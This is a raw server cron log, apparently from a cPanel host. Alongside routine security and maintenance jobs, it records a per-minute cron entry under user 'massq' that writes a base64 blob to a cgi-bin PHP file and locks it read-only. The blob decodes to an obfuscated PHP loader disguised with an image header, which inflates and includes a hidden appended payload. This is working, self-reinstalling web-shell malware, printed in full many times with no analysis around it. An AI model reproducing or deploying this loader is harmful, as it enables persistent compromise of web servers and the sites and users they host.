Sep 11 16:44:01 server CROND[30538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:44:01 server CROND[30537]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:45:01 server CROND[30914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:45:01 server CROND[30917]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 16:45:01 server CROND[30920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:45:01 server CROND[30921]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 16:45:01 server CROND[30919]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 16:45:01 server CROND[30918]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 16:45:01 server CROND[30916]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:46:01 server CROND[31843]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:46:01 server CROND[31844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:46:01 server CROND[31845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:47:01 server CROND[32217]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:47:01 server CROND[32218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:47:01 server CROND[32219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:48:01 server CROND[32656]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:48:01 server CROND[32655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:48:01 server CROND[32657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:49:01 server CROND[570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:49:01 server CROND[571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:49:01 server CROND[572]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:50:01 server CROND[983]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 16:50:01 server CROND[985]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 16:50:01 server CROND[986]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 16:50:01 server CROND[990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:50:01 server CROND[991]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 16:50:01 server CROND[993]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 16:50:01 server CROND[992]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 16:50:01 server CROND[998]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:50:01 server CROND[997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:51:01 server CROND[2086]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:51:01 server CROND[2087]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:51:01 server CROND[2088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:52:01 server CROND[2463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:52:01 server CROND[2464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:52:01 server CROND[2467]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:53:01 server CROND[2869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:53:01 server CROND[2870]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:53:01 server CROND[2871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:54:01 server CROND[3253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:54:01 server CROND[3255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:54:01 server CROND[3254]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:55:01 server CROND[3638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:55:01 server CROND[3640]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 16:55:01 server CROND[3642]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 16:55:01 server CROND[3654]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 16:55:01 server CROND[3660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:55:01 server CROND[3652]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:55:01 server CROND[3651]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 16:56:01 server CROND[4570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
